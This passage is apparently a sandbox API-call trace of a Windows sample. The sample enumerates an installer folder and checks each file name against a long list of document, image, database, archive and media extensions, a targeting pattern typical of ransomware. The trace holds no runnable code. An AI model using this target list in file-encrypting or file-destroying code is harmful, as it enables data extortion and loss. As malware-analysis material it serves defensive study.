[0085.787] lstrlenW (lpString=".qt") returned 3 [0085.787] lstrcmpiW (lpString1=".qt", lpString2="rtf") returned -1 [0085.787] lstrlenW (lpString=".r3d") returned 4 [0085.787] lstrcmpiW (lpString1=".r3d", lpString2=".rtf") returned -1 [0085.787] lstrlenW (lpString=".raf") returned 4 [0085.787] lstrcmpiW (lpString1=".raf", lpString2=".rtf") returned -1 [0085.787] lstrlenW (lpString=".rar") returned 4 [0085.787] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0085.787] FindNextFileW (in: hFindFile=0x4260690, lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x12c12, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0085.788] FindNextFileW (in: hFindFile=0x4260690, lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4558, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0085.788] FindNextFileW (in: hFindFile=0x4260690, lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4558, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0085.788] FindClose (in: hFindFile=0x4260690 | out: hFindFile=0x4260690) returned 1 [0085.788] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x35d0060 | out: hHeap=0x440000) returned 1 [0085.788] FindNextFileW (in: hFindFile=0x459d20, lpFindFileData=0x2d2fa7c | out: lpFindFileData=0x2d2fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="2052", cAlternateFileName="")) returned 1 [0085.788] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xfffe) returned 0x35d0060 [0085.788] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052") returned 26 [0085.788] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\2052\\*", lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4260290 [0085.789] FindNextFileW (in: hFindFile=0x4260290, lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0085.789] FindNextFileW (in: hFindFile=0x4260290, lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0x16c3, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0085.789] lstrlenW (lpString="eula.rtf") returned 8 [0085.789] lstrlenW (lpString=".1cd") returned 4 [0085.789] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0085.789] lstrlenW (lpString=".3ds") returned 4 [0085.789] lstrcmpiW (lpString1=".3ds", lpString2=".rtf") returned -1 [0085.789] lstrlenW (lpString=".3fr") returned 4 [0085.789] lstrcmpiW (lpString1=".3fr", lpString2=".rtf") returned -1 [0085.789] lstrlenW (lpString=".3g2") returned 4 [0085.789] lstrcmpiW (lpString1=".3g2", lpString2=".rtf") returned -1 [0085.789] lstrlenW (lpString=".3gp") returned 4 [0085.789] lstrcmpiW (lpString1=".3gp", lpString2=".rtf") returned -1 [0085.789] lstrlenW (lpString=".7z") returned 3 [0085.789] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0085.789] lstrlenW (lpString=".accda") returned 6 [0085.789] lstrcmpiW (lpString1=".accda", lpString2="la.rtf") returned -1 [0085.789] lstrlenW (lpString=".accdb") returned 6 [0085.790] lstrcmpiW (lpString1=".accdb", lpString2="la.rtf") returned -1 [0085.790] lstrlenW (lpString=".accdc") returned 6 [0085.790] lstrcmpiW (lpString1=".accdc", lpString2="la.rtf") returned -1 [0085.790] lstrlenW (lpString=".accde") returned 6 [0085.790] lstrcmpiW (lpString1=".accde", lpString2="la.rtf") returned -1 [0085.790] lstrlenW (lpString=".accdt") returned 6 [0085.790] lstrcmpiW (lpString1=".accdt", lpString2="la.rtf") returned -1 [0085.790] lstrlenW (lpString=".accdw") returned 6 [0085.790] lstrcmpiW (lpString1=".accdw", lpString2="la.rtf") returned -1 [0085.790] lstrlenW (lpString=".adb") returned 4 [0085.790] lstrcmpiW (lpString1=".adb", lpString2=".rtf") returned -1 [0085.790] lstrlenW (lpString=".adp") returned 4 [0085.790] lstrcmpiW (lpString1=".adp", lpString2=".rtf") returned -1 [0085.790] lstrlenW (lpString=".ai") returned 3 [0085.790] lstrcmpiW (lpString1=".ai", lpString2="rtf") returned -1 [0085.790] lstrlenW (lpString=".ai3") returned 4 [0085.790] lstrcmpiW (lpString1=".ai3", lpString2=".rtf") returned -1 [0085.790] lstrlenW (lpString=".ai4") returned 4 [0085.790] lstrcmpiW (lpString1=".ai4", lpString2=".rtf") returned -1 [0085.790] lstrlenW (lpString=".ai5") returned 4 [0085.790] lstrcmpiW (lpString1=".ai5", lpString2=".rtf") returned -1 [0085.790] lstrlenW (lpString=".ai6") returned 4 [0085.790] lstrcmpiW (lpString1=".ai6", lpString2=".rtf") returned -1 [0085.790] lstrlenW (lpString=".ai7") returned 4 [0085.790] lstrcmpiW (lpString1=".ai7", lpString2=".rtf") returned -1 [0085.790] lstrlenW (lpString=".ai8") returned 4 [0085.791] lstrcmpiW (lpString1=".ai8", lpString2=".rtf") returned -1 [0085.791] lstrlenW (lpString=".anim") returned 5 [0085.791] lstrcmpiW (lpString1=".anim", lpString2="a.rtf") returned -1 [0085.791] lstrlenW (lpString=".arw") returned 4 [0085.791] lstrcmpiW (lpString1=".arw", lpString2=".rtf") returned -1 [0085.791] lstrlenW (lpString=".as") returned 3 [0085.791] lstrcmpiW (lpString1=".as", lpString2="rtf") returned -1 [0085.791] lstrlenW (lpString=".asa") returned 4 [0085.791] lstrcmpiW (lpString1=".asa", lpString2=".rtf") returned -1 [0085.791] lstrlenW (lpString=".asc") returned 4 [0085.791] lstrcmpiW (lpString1=".asc", lpString2=".rtf") returned -1 [0085.791] lstrlenW (lpString=".ascx") returned 5 [0085.791] lstrcmpiW (lpString1=".ascx", lpString2="a.rtf") returned -1 [0085.791] lstrlenW (lpString=".asm") returned 4 [0085.791] lstrcmpiW (lpString1=".asm", lpString2=".rtf") returned -1 [0085.791] lstrlenW (lpString=".asmx") returned 5 [0085.791] lstrcmpiW (lpString1=".asmx", lpString2="a.rtf") returned -1 [0085.791] lstrlenW (lpString=".asp") returned 4 [0085.791] lstrcmpiW (lpString1=".asp", lpString2=".rtf") returned -1 [0085.791] lstrlenW (lpString=".aspx") returned 5 [0085.791] lstrcmpiW (lpString1=".aspx", lpString2="a.rtf") returned -1 [0085.791] lstrlenW (lpString=".asr") returned 4 [0085.791] lstrcmpiW (lpString1=".asr", lpString2=".rtf") returned -1 [0085.791] lstrlenW (lpString=".asx") returned 4 [0085.791] lstrcmpiW (lpString1=".asx", lpString2=".rtf") returned -1 [0085.791] lstrlenW (lpString=".avi") returned 4 [0085.791] lstrcmpiW (lpString1=".avi", lpString2=".rtf") returned -1 [0085.792] lstrlenW (lpString=".avs") returned 4 [0085.792] lstrcmpiW (lpString1=".avs", lpString2=".rtf") returned -1 [0085.792] lstrlenW (lpString=".backup") returned 7 [0085.792] lstrcmpiW (lpString1=".backup", lpString2="ula.rtf") returned -1 [0085.792] lstrlenW (lpString=".bak") returned 4 [0085.792] lstrcmpiW (lpString1=".bak", lpString2=".rtf") returned -1 [0085.792] lstrlenW (lpString=".bay") returned 4 [0085.792] lstrcmpiW (lpString1=".bay", lpString2=".rtf") returned -1 [0085.792] lstrlenW (lpString=".bd") returned 3 [0085.792] lstrcmpiW (lpString1=".bd", lpString2="rtf") returned -1 [0085.792] lstrlenW (lpString=".bin") returned 4 [0085.792] lstrcmpiW (lpString1=".bin", lpString2=".rtf") returned -1 [0085.792] lstrlenW (lpString=".bmp") returned 4 [0085.792] lstrcmpiW (lpString1=".bmp", lpString2=".rtf") returned -1 [0085.792] lstrlenW (lpString=".bz2") returned 4 [0085.792] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0085.792] lstrlenW (lpString=".c") returned 2 [0085.792] lstrcmpiW (lpString1=".c", lpString2="tf") returned -1 [0085.792] lstrlenW (lpString=".cdr") returned 4 [0085.792] lstrcmpiW (lpString1=".cdr", lpString2=".rtf") returned -1 [0085.792] lstrlenW (lpString=".cer") returned 4 [0085.792] lstrcmpiW (lpString1=".cer", lpString2=".rtf") returned -1 [0085.792] lstrlenW (lpString=".cf") returned 3 [0085.792] lstrcmpiW (lpString1=".cf", lpString2="rtf") returned -1 [0085.792] lstrlenW (lpString=".cfc") returned 4 [0085.792] lstrcmpiW (lpString1=".cfc", lpString2=".rtf") returned -1 [0085.792] lstrlenW (lpString=".cfm") returned 4 [0085.793] lstrcmpiW (lpString1=".cfm", lpString2=".rtf") returned -1 [0085.793] lstrlenW (lpString=".cfml") returned 5 [0085.793] lstrcmpiW (lpString1=".cfml", lpString2="a.rtf") returned -1 [0085.793] lstrlenW (lpString=".cfu") returned 4 [0085.793] lstrcmpiW (lpString1=".cfu", lpString2=".rtf") returned -1 [0085.793] lstrlenW (lpString=".chm") returned 4 [0085.793] lstrcmpiW (lpString1=".chm", lpString2=".rtf") returned -1 [0085.793] lstrlenW (lpString=".cin") returned 4 [0085.793] lstrcmpiW (lpString1=".cin", lpString2=".rtf") returned -1 [0085.793] lstrlenW (lpString=".class") returned 6 [0085.793] lstrcmpiW (lpString1=".class", lpString2="la.rtf") returned -1 [0085.793] lstrlenW (lpString=".clx") returned 4 [0085.793] lstrcmpiW (lpString1=".clx", lpString2=".rtf") returned -1 [0085.793] lstrlenW (lpString=".config") returned 7 [0085.793] lstrcmpiW (lpString1=".config", lpString2="ula.rtf") returned -1 [0085.793] lstrlenW (lpString=".cpp") returned 4 [0085.793] lstrcmpiW (lpString1=".cpp", lpString2=".rtf") returned -1 [0085.793] lstrlenW (lpString=".cr2") returned 4 [0085.793] lstrcmpiW (lpString1=".cr2", lpString2=".rtf") returned -1 [0085.793] lstrlenW (lpString=".crt") returned 4 [0085.793] lstrcmpiW (lpString1=".crt", lpString2=".rtf") returned -1 [0085.793] lstrlenW (lpString=".crw") returned 4 [0085.793] lstrcmpiW (lpString1=".crw", lpString2=".rtf") returned -1 [0085.793] lstrlenW (lpString=".cs") returned 3 [0085.793] lstrcmpiW (lpString1=".cs", lpString2="rtf") returned -1 [0085.793] lstrlenW (lpString=".css") returned 4 [0085.794] lstrcmpiW (lpString1=".css", lpString2=".rtf") returned -1 [0085.794] lstrlenW (lpString=".csv") returned 4 [0085.794] lstrcmpiW (lpString1=".csv", lpString2=".rtf") returned -1 [0085.794] lstrlenW (lpString=".cub") returned 4 [0085.794] lstrcmpiW (lpString1=".cub", lpString2=".rtf") returned -1 [0085.794] lstrlenW (lpString=".dae") returned 4 [0085.794] lstrcmpiW (lpString1=".dae", lpString2=".rtf") returned -1 [0085.794] lstrlenW (lpString=".dat") returned 4 [0085.794] lstrcmpiW (lpString1=".dat", lpString2=".rtf") returned -1 [0085.794] lstrlenW (lpString=".db") returned 3 [0085.794] lstrcmpiW (lpString1=".db", lpString2="rtf") returned -1 [0085.794] lstrlenW (lpString=".dbf") returned 4 [0085.794] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0085.794] lstrlenW (lpString=".dbx") returned 4 [0085.794] lstrcmpiW (lpString1=".dbx", lpString2=".rtf") returned -1 [0085.794] lstrlenW (lpString=".dc3") returned 4 [0085.794] lstrcmpiW (lpString1=".dc3", lpString2=".rtf") returned -1 [0085.794] lstrlenW (lpString=".dcm") returned 4 [0085.794] lstrcmpiW (lpString1=".dcm", lpString2=".rtf") returned -1 [0085.794] lstrlenW (lpString=".dcr") returned 4 [0085.794] lstrcmpiW (lpString1=".dcr", lpString2=".rtf") returned -1 [0085.794] lstrlenW (lpString=".der") returned 4 [0085.794] lstrcmpiW (lpString1=".der", lpString2=".rtf") returned -1 [0085.794] lstrlenW (lpString=".dib") returned 4 [0085.794] lstrcmpiW (lpString1=".dib", lpString2=".rtf") returned -1 [0085.794] lstrlenW (lpString=".dic") returned 4 [0085.794] lstrcmpiW (lpString1=".dic", lpString2=".rtf") returned -1 [0085.795] lstrlenW (lpString=".dif") returned 4 [0085.795] lstrcmpiW (lpString1=".dif", lpString2=".rtf") returned -1 [0085.795] lstrlenW (lpString=".divx") returned 5 [0085.795] lstrcmpiW (lpString1=".divx", lpString2="a.rtf") returned -1 [0085.795] lstrlenW (lpString=".djvu") returned 5 [0085.795] lstrcmpiW (lpString1=".djvu", lpString2="a.rtf") returned -1 [0085.795] lstrlenW (lpString=".dng") returned 4 [0085.795] lstrcmpiW (lpString1=".dng", lpString2=".rtf") returned -1 [0085.795] lstrlenW (lpString=".doc") returned 4 [0085.795] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0085.795] lstrlenW (lpString=".docm") returned 5 [0085.795] lstrcmpiW (lpString1=".docm", lpString2="a.rtf") returned -1 [0085.795] lstrlenW (lpString=".docx") returned 5 [0085.795] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0085.795] lstrlenW (lpString=".dot") returned 4 [0085.795] lstrcmpiW (lpString1=".dot", lpString2=".rtf") returned -1 [0085.795] lstrlenW (lpString=".dotm") returned 5 [0085.795] lstrcmpiW (lpString1=".dotm", lpString2="a.rtf") returned -1 [0085.795] lstrlenW (lpString=".dotx") returned 5 [0085.795] lstrcmpiW (lpString1=".dotx", lpString2="a.rtf") returned -1 [0085.795] lstrlenW (lpString=".dpx") returned 4 [0085.795] lstrcmpiW (lpString1=".dpx", lpString2=".rtf") returned -1 [0085.795] lstrlenW (lpString=".dqy") returned 4 [0085.795] lstrcmpiW (lpString1=".dqy", lpString2=".rtf") returned -1 [0085.795] lstrlenW (lpString=".dsn") returned 4 [0085.795] lstrcmpiW (lpString1=".dsn", lpString2=".rtf") returned -1 [0085.795] lstrlenW (lpString=".dt") returned 3 [0085.796] lstrcmpiW (lpString1=".dt", lpString2="rtf") returned -1 [0085.796] lstrlenW (lpString=".dtd") returned 4 [0085.796] lstrcmpiW (lpString1=".dtd", lpString2=".rtf") returned -1 [0085.796] lstrlenW (lpString=".dwg") returned 4 [0085.796] lstrcmpiW (lpString1=".dwg", lpString2=".rtf") returned -1 [0085.796] lstrlenW (lpString=".dwt") returned 4 [0085.796] lstrcmpiW (lpString1=".dwt", lpString2=".rtf") returned -1 [0085.796] lstrlenW (lpString=".dx") returned 3 [0085.796] lstrcmpiW (lpString1=".dx", lpString2="rtf") returned -1 [0085.796] lstrlenW (lpString=".dxf") returned 4 [0085.796] lstrcmpiW (lpString1=".dxf", lpString2=".rtf") returned -1 [0085.796] lstrlenW (lpString=".edml") returned 5 [0085.796] lstrcmpiW (lpString1=".edml", lpString2="a.rtf") returned -1 [0085.796] lstrlenW (lpString=".efd") returned 4 [0085.796] lstrcmpiW (lpString1=".efd", lpString2=".rtf") returned -1 [0085.796] lstrlenW (lpString=".elf") returned 4 [0085.796] lstrcmpiW (lpString1=".elf", lpString2=".rtf") returned -1 [0085.796] lstrlenW (lpString=".emf") returned 4 [0085.796] lstrcmpiW (lpString1=".emf", lpString2=".rtf") returned -1 [0085.796] lstrlenW (lpString=".emz") returned 4 [0085.796] lstrcmpiW (lpString1=".emz", lpString2=".rtf") returned -1 [0085.796] lstrlenW (lpString=".epf") returned 4 [0085.796] lstrcmpiW (lpString1=".epf", lpString2=".rtf") returned -1 [0085.796] lstrlenW (lpString=".eps") returned 4 [0085.796] lstrcmpiW (lpString1=".eps", lpString2=".rtf") returned -1 [0085.796] lstrlenW (lpString=".epsf") returned 5 [0085.796] lstrcmpiW (lpString1=".epsf", lpString2="a.rtf") returned -1 [0085.796] lstrlenW (lpString=".epsp") returned 5 [0085.797] lstrcmpiW (lpString1=".epsp", lpString2="a.rtf") returned -1 [0085.797] lstrlenW (lpString=".erf") returned 4 [0085.797] lstrcmpiW (lpString1=".erf", lpString2=".rtf") returned -1 [0085.797] lstrlenW (lpString=".exr") returned 4 [0085.797] lstrcmpiW (lpString1=".exr", lpString2=".rtf") returned -1 [0085.797] lstrlenW (lpString=".f4v") returned 4 [0085.797] lstrcmpiW (lpString1=".f4v", lpString2=".rtf") returned -1 [0085.797] lstrlenW (lpString=".fido") returned 5 [0085.797] lstrcmpiW (lpString1=".fido", lpString2="a.rtf") returned -1 [0085.797] lstrlenW (lpString=".flm") returned 4 [0085.797] lstrcmpiW (lpString1=".flm", lpString2=".rtf") returned -1 [0085.797] lstrlenW (lpString=".flv") returned 4 [0085.797] lstrcmpiW (lpString1=".flv", lpString2=".rtf") returned -1 [0085.797] lstrlenW (lpString=".frm") returned 4 [0085.797] lstrcmpiW (lpString1=".frm", lpString2=".rtf") returned -1 [0085.797] lstrlenW (lpString=".fxg") returned 4 [0085.797] lstrcmpiW (lpString1=".fxg", lpString2=".rtf") returned -1 [0085.797] lstrlenW (lpString=".geo") returned 4 [0085.797] lstrcmpiW (lpString1=".geo", lpString2=".rtf") returned -1 [0085.797] lstrlenW (lpString=".gif") returned 4 [0085.797] lstrcmpiW (lpString1=".gif", lpString2=".rtf") returned -1 [0085.797] lstrlenW (lpString=".grs") returned 4 [0085.797] lstrcmpiW (lpString1=".grs", lpString2=".rtf") returned -1 [0085.797] lstrlenW (lpString=".gz") returned 3 [0085.797] lstrcmpiW (lpString1=".gz", lpString2="rtf") returned -1 [0085.797] lstrlenW (lpString=".h") returned 2 [0085.797] lstrcmpiW (lpString1=".h", lpString2="tf") returned -1 [0085.797] lstrlenW (lpString=".hdr") returned 4 [0085.798] lstrcmpiW (lpString1=".hdr", lpString2=".rtf") returned -1 [0085.798] lstrlenW (lpString=".hpp") returned 4 [0085.798] lstrcmpiW (lpString1=".hpp", lpString2=".rtf") returned -1 [0085.798] lstrlenW (lpString=".hta") returned 4 [0085.798] lstrcmpiW (lpString1=".hta", lpString2=".rtf") returned -1 [0085.798] lstrlenW (lpString=".htc") returned 4 [0085.798] lstrcmpiW (lpString1=".htc", lpString2=".rtf") returned -1 [0085.798] lstrlenW (lpString=".htm") returned 4 [0085.798] lstrcmpiW (lpString1=".htm", lpString2=".rtf") returned -1 [0085.798] lstrlenW (lpString=".html") returned 5 [0085.798] lstrcmpiW (lpString1=".html", lpString2="a.rtf") returned -1 [0085.798] lstrlenW (lpString=".icb") returned 4 [0085.798] lstrcmpiW (lpString1=".icb", lpString2=".rtf") returned -1 [0085.798] lstrlenW (lpString=".ics") returned 4 [0085.798] lstrcmpiW (lpString1=".ics", lpString2=".rtf") returned -1 [0085.798] lstrlenW (lpString=".iff") returned 4 [0085.798] lstrcmpiW (lpString1=".iff", lpString2=".rtf") returned -1 [0085.798] lstrlenW (lpString=".inc") returned 4 [0085.798] lstrcmpiW (lpString1=".inc", lpString2=".rtf") returned -1 [0085.798] lstrlenW (lpString=".indd") returned 5 [0085.798] lstrcmpiW (lpString1=".indd", lpString2="a.rtf") returned -1 [0085.798] lstrlenW (lpString=".ini") returned 4 [0085.798] lstrcmpiW (lpString1=".ini", lpString2=".rtf") returned -1 [0085.798] lstrlenW (lpString=".iqy") returned 4 [0085.798] lstrcmpiW (lpString1=".iqy", lpString2=".rtf") returned -1 [0085.798] lstrlenW (lpString=".j2c") returned 4 [0085.798] lstrcmpiW (lpString1=".j2c", lpString2=".rtf") returned -1 [0085.799] lstrlenW (lpString=".j2k") returned 4 [0085.799] lstrcmpiW (lpString1=".j2k", lpString2=".rtf") returned -1 [0085.799] lstrlenW (lpString=".java") returned 5 [0085.799] lstrcmpiW (lpString1=".java", lpString2="a.rtf") returned -1 [0085.799] lstrlenW (lpString=".jp2") returned 4 [0085.799] lstrcmpiW (lpString1=".jp2", lpString2=".rtf") returned -1 [0085.799] lstrlenW (lpString=".jpc") returned 4 [0085.799] lstrcmpiW (lpString1=".jpc", lpString2=".rtf") returned -1 [0085.799] lstrlenW (lpString=".jpe") returned 4 [0085.799] lstrcmpiW (lpString1=".jpe", lpString2=".rtf") returned -1 [0085.799] lstrlenW (lpString=".jpeg") returned 5 [0085.799] lstrcmpiW (lpString1=".jpeg", lpString2="a.rtf") returned -1 [0085.799] lstrlenW (lpString=".jpf") returned 4 [0085.799] lstrcmpiW (lpString1=".jpf", lpString2=".rtf") returned -1 [0085.799] lstrlenW (lpString=".jpg") returned 4 [0085.799] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0085.799] lstrlenW (lpString=".jpx") returned 4 [0085.799] lstrcmpiW (lpString1=".jpx", lpString2=".rtf") returned -1 [0085.799] lstrlenW (lpString=".js") returned 3 [0085.799] lstrcmpiW (lpString1=".js", lpString2="rtf") returned -1 [0085.799] lstrlenW (lpString=".jsf") returned 4 [0085.799] lstrcmpiW (lpString1=".jsf", lpString2=".rtf") returned -1 [0085.799] lstrlenW (lpString=".json") returned 5 [0085.799] lstrcmpiW (lpString1=".json", lpString2="a.rtf") returned -1 [0085.799] lstrlenW (lpString=".jsp") returned 4 [0085.799] lstrcmpiW (lpString1=".jsp", lpString2=".rtf") returned -1 [0085.799] lstrlenW (lpString=".kdc") returned 4 [0085.799] lstrcmpiW (lpString1=".kdc", lpString2=".rtf") returned -1 [0085.800] lstrlenW (lpString=".kmz") returned 4 [0085.800] lstrcmpiW (lpString1=".kmz", lpString2=".rtf") returned -1 [0085.800] lstrlenW (lpString=".kwm") returned 4 [0085.800] lstrcmpiW (lpString1=".kwm", lpString2=".rtf") returned -1 [0085.800] lstrlenW (lpString=".lasso") returned 6 [0085.800] lstrcmpiW (lpString1=".lasso", lpString2="la.rtf") returned -1 [0085.800] lstrlenW (lpString=".lbi") returned 4 [0085.800] lstrcmpiW (lpString1=".lbi", lpString2=".rtf") returned -1 [0085.800] lstrlenW (lpString=".lgf") returned 4 [0085.800] lstrcmpiW (lpString1=".lgf", lpString2=".rtf") returned -1 [0085.800] lstrlenW (lpString=".lgp") returned 4 [0085.800] lstrcmpiW (lpString1=".lgp", lpString2=".rtf") returned -1 [0085.800] lstrlenW (lpString=".log") returned 4 [0085.800] lstrcmpiW (lpString1=".log", lpString2=".rtf") returned -1 [0085.800] lstrlenW (lpString=".m1v") returned 4 [0085.800] lstrcmpiW (lpString1=".m1v", lpString2=".rtf") returned -1 [0085.800] lstrlenW (lpString=".m4a") returned 4 [0085.800] lstrcmpiW (lpString1=".m4a", lpString2=".rtf") returned -1 [0085.800] lstrlenW (lpString=".m4v") returned 4 [0085.800] lstrcmpiW (lpString1=".m4v", lpString2=".rtf") returned -1 [0085.800] lstrlenW (lpString=".max") returned 4 [0085.800] lstrcmpiW (lpString1=".max", lpString2=".rtf") returned -1 [0085.800] lstrlenW (lpString=".md") returned 3 [0085.800] lstrcmpiW (lpString1=".md", lpString2="rtf") returned -1 [0085.800] lstrlenW (lpString=".mda") returned 4 [0085.800] lstrcmpiW (lpString1=".mda", lpString2=".rtf") returned -1 [0086.031] lstrlenW (lpString=".mdb") returned 4 [0086.031] lstrcmpiW (lpString1=".mdb", lpString2=".rtf") returned -1 [0086.031] lstrlenW (lpString=".mde") returned 4 [0086.031] lstrcmpiW (lpString1=".mde", lpString2=".rtf") returned -1 [0086.031] lstrlenW (lpString=".mdf") returned 4 [0086.031] lstrcmpiW (lpString1=".mdf", lpString2=".rtf") returned -1 [0086.031] lstrlenW (lpString=".mdw") returned 4 [0086.031] lstrcmpiW (lpString1=".mdw", lpString2=".rtf") returned -1 [0086.031] lstrlenW (lpString=".mef") returned 4 [0086.032] lstrcmpiW (lpString1=".mef", lpString2=".rtf") returned -1 [0086.032] lstrlenW (lpString=".mft") returned 4 [0086.032] lstrcmpiW (lpString1=".mft", lpString2=".rtf") returned -1 [0086.032] lstrlenW (lpString=".mfw") returned 4 [0086.032] lstrcmpiW (lpString1=".mfw", lpString2=".rtf") returned -1 [0086.032] lstrlenW (lpString=".mht") returned 4 [0086.032] lstrcmpiW (lpString1=".mht", lpString2=".rtf") returned -1 [0086.032] lstrlenW (lpString=".mhtml") returned 6 [0086.032] lstrcmpiW (lpString1=".mhtml", lpString2="la.rtf") returned -1 [0086.032] lstrlenW (lpString=".mka") returned 4 [0086.032] lstrcmpiW (lpString1=".mka", lpString2=".rtf") returned -1 [0086.032] lstrlenW (lpString=".mkidx") returned 6 [0086.032] lstrcmpiW (lpString1=".mkidx", lpString2="la.rtf") returned -1 [0086.032] lstrlenW (lpString=".mkv") returned 4 [0086.032] lstrcmpiW (lpString1=".mkv", lpString2=".rtf") returned -1 [0086.032] lstrlenW (lpString=".mos") returned 4 [0086.032] lstrcmpiW (lpString1=".mos", lpString2=".rtf") returned -1 [0086.032] lstrlenW (lpString=".mov") returned 4 [0086.032] lstrcmpiW (lpString1=".mov", lpString2=".rtf") returned -1 [0086.032] lstrlenW (lpString=".mp3") returned 4 [0086.032] lstrcmpiW (lpString1=".mp3", lpString2=".rtf") returned -1 [0086.032] lstrlenW (lpString=".mp4") returned 4 [0086.032] lstrcmpiW (lpString1=".mp4", lpString2=".rtf") returned -1 [0086.032] lstrlenW (lpString=".mpeg") returned 5 [0086.032] lstrcmpiW (lpString1=".mpeg", lpString2="a.rtf") returned -1 [0086.032] lstrlenW (lpString=".mpg") returned 4 [0086.032] lstrcmpiW (lpString1=".mpg", lpString2=".rtf") returned -1 [0086.033] lstrlenW (lpString=".mpv") returned 4 [0086.033] lstrcmpiW (lpString1=".mpv", lpString2=".rtf") returned -1 [0086.033] lstrlenW (lpString=".mrw") returned 4 [0086.033] lstrcmpiW (lpString1=".mrw", lpString2=".rtf") returned -1 [0086.033] lstrlenW (lpString=".msg") returned 4 [0086.033] lstrcmpiW (lpString1=".msg", lpString2=".rtf") returned -1 [0086.033] lstrlenW (lpString=".mxl") returned 4 [0086.033] lstrcmpiW (lpString1=".mxl", lpString2=".rtf") returned -1 [0086.033] lstrlenW (lpString=".myd") returned 4 [0086.033] lstrcmpiW (lpString1=".myd", lpString2=".rtf") returned -1 [0086.033] lstrlenW (lpString=".myi") returned 4 [0086.033] lstrcmpiW (lpString1=".myi", lpString2=".rtf") returned -1 [0086.033] lstrlenW (lpString=".nef") returned 4 [0086.033] lstrcmpiW (lpString1=".nef", lpString2=".rtf") returned -1 [0086.033] lstrlenW (lpString=".nrw") returned 4 [0086.033] lstrcmpiW (lpString1=".nrw", lpString2=".rtf") returned -1 [0086.033] lstrlenW (lpString=".obj") returned 4 [0086.033] lstrcmpiW (lpString1=".obj", lpString2=".rtf") returned -1 [0086.033] lstrlenW (lpString=".odb") returned 4 [0086.033] lstrcmpiW (lpString1=".odb", lpString2=".rtf") returned -1 [0086.033] lstrlenW (lpString=".odc") returned 4 [0086.033] lstrcmpiW (lpString1=".odc", lpString2=".rtf") returned -1 [0086.033] lstrlenW (lpString=".odm") returned 4 [0086.033] lstrcmpiW (lpString1=".odm", 